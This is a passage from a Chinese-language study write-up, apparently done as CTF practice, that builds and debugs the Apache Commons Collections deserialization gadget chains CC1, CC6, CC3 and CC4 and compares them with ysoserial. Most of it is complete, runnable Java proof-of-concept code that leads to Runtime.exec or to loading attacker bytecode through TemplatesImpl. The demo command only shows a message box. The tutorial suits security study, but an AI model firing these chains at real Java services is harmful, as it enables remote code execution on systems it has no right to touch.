1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CC1test { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("bbb" ,"aaa" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationconstructor.setAccessible(true ); Object o = annotationconstructor.newInstance(Override.class, transformedmap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
进行调试一下可以发现: 这是AnnotationInvocationHandler
中的readObject,可以看到要调用setValue,需要通过2个if判断,第一个是判断memberType是否为空,memberType是什么呢?annotationType.memberTypes();
跟进annotationType
: 获得了实例type
,跟进type: 可以看到其实就是我们初始化传入的注解 在做判断前先获取了memberValue的key值,memberValue其实也就是我们传入的那个Map 我们在代码中,向Map中put了一个键值对bbb->aaa
,首先获取了keybbb
,然后在注解中获取这个属性bbb
,但是override注解是没有属性的: 因此得换一个注解,比如Target: 更换之后再调试一次,发现还是null,因为Target注解虽然有属性,但是没有bbb属性啊,因此我们往Map里put键值对时,key有讲究,Target有value属性,因此把key改成value: 可以看到两个if顺利通过,并且调用setValue方法,最终一个难题来了,就是如何让他调用Runtime.class呢?,因为递归的入口在上面已经分析过了就是Runtime.class类,这里就又要在最初Transfomer类去找了,可以发现ConstantTransformer
类: 它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class,因此最终链确定了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("value" ,"aaa" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationconstructor.setAccessible(true ); Object o = annotationconstructor.newInstance(Target.class, transformedmap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
最终成功调用: 成功弹窗!可以调试分析一下刚刚的判断: 2个if判断都通过了,进入setvalue方法: 调用AbstractInputCheckedMapDecorator
的setValue方法,进而调用checksetValue: 继续调用chainedtransformer的transform方法: 之后就是进行一系列的递归,最终调用Runtime.getRuntime().exec
,完美收工
1X2.1.3 对比Ysoserial的CC1 Ysoserial的调用链与我们的高度相似,唯一不同的就是LazyMap.get()
,我们使用的是TransformedMap.checkSetValue
,但是这两个方法最终调用的都是transform方法: 还有就是开头一段: 可以看到调用了AnnotationInvocationHandler的invoke方法: 是一个动态代理,我们把Annotationinvocationhandler用proxy包裹,再包裹进Map数组,就可以调用invoke方法,和一开始讲的动态代理是一个意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1test { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationconstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap); Map mapproxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},handler); Object o = annotationconstructor.newInstance(Override.class, mapproxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
剩下的地方一模一样,这次的CC1分析就告一段落!写了一坨屎真的很抱歉,大概只有自己看得懂吧,希望别人也能看懂,我的表述能力已经发挥到了极致了。。。ORZ ps:在jdk1.8.0.71中修复了AnnotationInvocationHandler
类的readObject方法,因此其他的链出现了
1X2.2 CC6 版本限制:全版本 为什么会出现CC6呢,在java8u71大版本中AnnotationInvocationHandler.readObject被修改了,没有上述CC1的调用链了,因此想出来了一条不受版本控制的链CC6 在开始分析之前我们可以看一下Ysoserial上的CC6是怎么个调用方法: 可以看到调用了HashMap.hash()
,这一个方法假如认真看了我的文章的人,应该都会熟悉的吧,在刚开始反序列化中讲 URLDNS链的时候我就说到了,因此整条链的难度也不大,因为后半段和CC1一样,同样是从Lazymap.get往下延伸出来的,因此我们分析的起点只需要看是谁调用了.get()
方法: 这里就不说是怎么找到TiedMapEntry的了,就是一个个的看了,在它的getValue方法中调用了map.get方法,那又在哪儿调用了getValue方法呢: 答案是该类的hashCode方法,看到hashCode就想起了URLDNS链了吧,因此现在要找谁调用了hashCode方法,那肯定就是HashMap集合了,在URLDNS链中也用到了它重写的readObject类中: 调用了hash方法: 最后调用key.hashCode,key就是我们可控参数,我们只需要让key等于TiedMapEntry
即可!因此可以开始编写CC6链雏形了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Map;public class CC6 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC1!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); serialize(hashMap); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
上面我特意把unserialize注释了,但是也可以弹窗: 原因其实和URLDNS链一模一样,因为在hashmap.put的时候也调用了hash方法,进而调用hashCode,因此解决方法也一样,我们需要先把Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
这句话中的chainedTransformer改掉,因为最终调用的是factory.transform(key);
factory也就是chainedtransformer,只要在put前修改掉,然后put后改回来,这样反序列化时就会触发,序列化时就不会触发,因此做出如下修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
但是仍然发现无法弹出计算机,我们重点放回Lazymap.get上: 在这里有一层判断,当map也就是我们传入那个空map的键值对为空时,才会进入if内,也就是我们的目标,但是在第一轮put的时候为空,然后他调用了map.put(key, value);
给他加了aaa这个键进去,然后在反序列化的时候: 由于序列化加了aaa,因此反序列化的时候就进不去if判断,因此没有执行factory.transform
,解决办法也很简单,在put后再移除掉即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); map.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
分析结束~~以上3条链的流程如下,很清晰
1X2.3 CC3 CC3就和CC1、CC6不同了,后者是执行命令,而前者是通过动态加载类,然后实例化类达到执行静态代码块的目的,废话不多说进入状态分析 已经提到过CC3的执行方法和其他2条链方式有些许不同,CC3采用的是动态加载类,也就是上面讲基础时用到过的ClassLoder.defineclass
,因此我们寻找谁调用了defineclass方法: 在TemplatesImpl.TransletClassLoader里调用了: 继续跟进该类,看看该类的defineClass在哪被调用: 在defineTransletClasses类中被调用loader.defineClass
,在调用之前有几个小判断需要留意: 首先_bytecodes
属性不能为空否则跑出异常,因此需要反射赋值 调用_tfactory.getExternalExtensionsMap()
,因此也不能为空,跟进看看这个属性有没有被赋值 在readObject方法里被赋值了,因此不必担心 继续跟进看看谁调用了defineTransletClasses
: 重心放在getTransletInstance()
方法上,虽然有3个结果,但是只有这个方法调用了.newInstance()
方法,这样我们才有可能实例化恶意类 有一个判断,如果_name
属性为空,就return null
,这肯定是不行的,因此需要反射赋值 继续跟进看看谁调用了getTransletInstance()
: 唯一一个结果newTransformer调用: 在此处调用了getTransletInstance方法,因此我们的思路就确定了,实例化一个TemplatesImpl对象,然后调用newTransformer方法,这样就可以加载恶意类: 思路雏形如上,目的就是这样调用,但是需要反射修改上述说的那几个参数,要不然if语句无法通过,对雏形进行进一步完善:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer(); } }
但是会抛出一个空指针异常: 下断点调试: 在这里的_transletIndex属性是-1,因此上方抛出了空指针异常superClass.getName().equals(ABSTRACT_TRANSLET)
superClass就是我们恶意类,他的父类需要为ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
我们让恶意类继承一下: 接着再运行一次看看: 成功运行了,然后现在需要做的也就是怎么把templates.newTransformer();
和cc1,cc6这样包装起来,我们同样可以仿照一下,然后将刚刚写的和CC1后半结合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer); Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconstructor = c2.getDeclaredConstructor(Class.class, Map.class); annotationconstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class,lazymap); Map mapproxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},handler); Object o = annotationconstructor.newInstance(Override.class, mapproxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
得到了一条CC3的链 我们这是调用了CC1的后半链,那CC6的可不可以呢?显然可以啊!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3TEST { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); map.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
但是对比分析Ysoserial还是有些不同: 在chainedtransformer里的参数就不同了
1 2 3 4 5 new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { templatesImpl } )};
他并未调用InvokerTransformer
而是调用了InstantiateTransformer
,我们也可以分析一下: 看看就知道这其实就是InvokerTransformer的替代品,作用都一模一样,只不过这个是调用构造函数的,那再看看Ysoserial里的TrAXFilter
类: 在它的构造函数中恰巧就调用了我们最终需要的newTransformer方法,因此可以构造CC3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3TEST { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); map.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
同样成功触发,最后的思路图为:
1X2.4 CC4 首先CC4需要的commoncollection4的依赖:
1 2 3 4 5 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0 </version> </dependency>
言简意赅的来说CC4就是CC3前半段不动,后半段修改一些东西,在调用CaninedTransformer的transform方法上有所不同,直接先放POC后分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC4 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator=new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue=new PriorityQueue (transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class tc=transformingComparator.getClass(); Field comparator = tc.getDeclaredField("transformer" ); comparator.setAccessible(true ); comparator.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
从chainedtransformer那里开始改动一小部分,那么思路也就回到了如何调用transform方法上了: 在TransformingComparator.compare
方法中调用,因此跟进看看谁调用了compare: 在PriorityQueue.siftUpUsingComparator
中调用,继续看谁调用了siftUpUsingComparator
: 在该类的siftDown调用,继续找: 在heapify方法调用siftDown,继续: 在readObject里调用了heapify,流程结束
1X2.5 CC2 CC2与CC4不同的地方就是后半些许不同,没有用chainedtrainsform,直接用invokertransformer POC:
